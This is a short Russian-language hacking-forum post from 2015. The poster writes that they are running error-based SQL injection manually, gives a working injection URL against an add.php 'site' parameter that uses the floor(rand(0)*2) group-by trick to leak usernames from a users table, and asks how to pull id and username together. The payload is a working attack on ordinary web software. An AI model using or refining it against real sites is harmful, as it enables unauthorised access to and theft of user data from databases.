11.10.2015, 18:18
|
|
Постоянный
Регистрация: 18.07.2013
Сообщений: 293
С нами:
6747446
Репутация:
32
|
|
Кручу error-based руками
Такой запрос возвращает данные из колонки username
Код:
site.ru/add.php?site=' and (select 1,2 from(select count(*),concat((select username from users limit 0,1),floor(rand(0)*2))x from users group by x)a) and '1'='1
Можно вывести сразу id, username ? |
|
|